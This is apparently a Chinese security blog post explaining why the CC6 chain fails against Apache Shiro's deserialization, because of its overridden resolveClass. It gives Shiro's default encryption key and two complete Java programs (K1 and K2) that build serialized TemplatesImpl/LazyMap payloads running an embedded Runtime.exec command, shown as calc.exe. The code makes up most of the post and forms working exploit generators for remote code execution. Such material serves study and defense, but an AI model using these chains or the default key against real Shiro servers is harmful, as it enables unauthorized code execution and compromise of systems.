前言
shiro的k1/k2链条其实之前我已经分析过了,但是呢,没以文章的形式发出来。可能有点懒惰了。上篇文章我们一起看了t3协议,t3反序列化的修复手段是在resolveClass方法添加检查,增加黑名单的形式。而shiro是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。下面我们分析。
直接使用cc6
cc6的利用链我们前面有,拿来直接用,默认keykPH+bIxk5D2deZiIxcaaaA== 去加密,再base64编码。 发送后我们可以看到tomcat报错: 看到错误栈中最下面的那个类: org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass resolveClass方法是反序列化中用来查找类的方法,shiro反序列化的函数不是我们述职的ObjectInputStream().readObject,而是ClassResolvingObjectInputStream类,他继承了ObjectInputStream类,重写了resolveClass方法,原因就出现 再重写后的resolveClass方法,跟进ClassUtils.forName(osc.getName()); 出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;。这个类名看起来 怪,其实就是表示org.apache.commons.collections.Transformer的数组。 跟进Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); , 加载和获取当前线程的类,参考phith0n的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 所以CC6,CC1都无法使用,网络上很多其他文章都是用的CommonCollections2,但CommonCollections2依赖的是CommonCollections4.0版本。
K1
package org.example.k1;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollectionsK1 {
public static void main(String[] args) throws Exception{
// ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
ClassPool pool = ClassPool.getDefault();
// 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 给这个类创建 static 代码块,并插入到类中
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
// 重新设置类名为一个随机的名字
cc.setName(randomClassName);
// 给这个类添加一个父类,即继承该父类。
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 将这个类输出到项目目录下
cc.writeFile("./");
// 将这个class转换为字节数组
byte[] classBytes = cc.toBytecode();
getPayload(classBytes);
// readObject();
}
public static void getPayload(byte[] bytecode) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytecode});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 构造链调用obj.newTransformer()
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
ConstantTransformer faketransformer = new ConstantTransformer(1);
Map outmap = new HashMap();
// 后面的map.put方法会调用一次利用链,所以防止报错,这里需要给一个无害transformer
Map lazyMap = LazyMap.decorate(outmap,faketransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
Map map = new HashMap();
map.put(tiedMapEntry,"213");
setFieldValue(lazyMap, "factory", transformer);
// map.put方法中会进入lazymap的get方法。在该方法中,会调用一次transform方法,返回值赋值给value,之后会执行map.put(key,value)。所以map中会多了一个TemplateImpl对象。这样会导致反序列化调用的时候无法进入if判断,所以需要进行clear.
outmap.clear();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("result.ser")));
oos.writeObject(map);
oos.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void readObject() throws IOException, ClassNotFoundException {
// 反序列化对象
FileInputStream fileInputStream = new FileInputStream("result.ser");
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
ois.readObject();
}
}
K2
package org.example.k1;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollectionsK2 {
public static void main(String[] args) throws Exception{
// ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
ClassPool pool = ClassPool.getDefault();
// 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 给这个类创建 static 代码块,并插入到类中
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
// 重新设置类名为一个随机的名字
cc.setName(randomClassName);
// 给这个类添加一个父类,即继承该父类。
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 将这个类输出到项目目录下
cc.writeFile("./");
// 将这个class转换为字节数组
byte[] classBytes = cc.toBytecode();
getPayload(classBytes);
// readObject();
}
public static void getPayload(byte[] bytecode) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytecode});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 构造链调用obj.newTransformer()
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
ConstantTransformer faketransformer = new ConstantTransformer(1);
Map outmap = new HashMap();
// 后面的map.put方法会调用一次利用链,所以防止报错,这里需要给一个无害transformer
Map lazyMap = LazyMap.lazyMap(outmap,faketransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
Map map = new HashMap();
map.put(tiedMapEntry,"213");
setFieldValue(lazyMap, "factory", transformer);
// map.put方法中会进入lazymap的get方法。在该方法中,会调用一次transform方法,返回值赋值给value,之后会执行map.put(key,value)。所以map中会多了一个TemplateImpl对象。这样会导致反序列化调用的时候无法进入if判断,所以需要进行clear.
outmap.clear();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("result.ser")));
oos.writeObject(map);
oos.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void readObject() throws IOException, ClassNotFoundException {
// 反序列化对象
FileInputStream fileInputStream = new FileInputStream("result.ser");
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
ois.readObject();
}
}
参考:
https://blog.csdn.net/qq_41918771/article/details/120933456
https://www.cnblogs.com/chengez/p/shiro_K1.html
https://paper.seebug.org/1285
|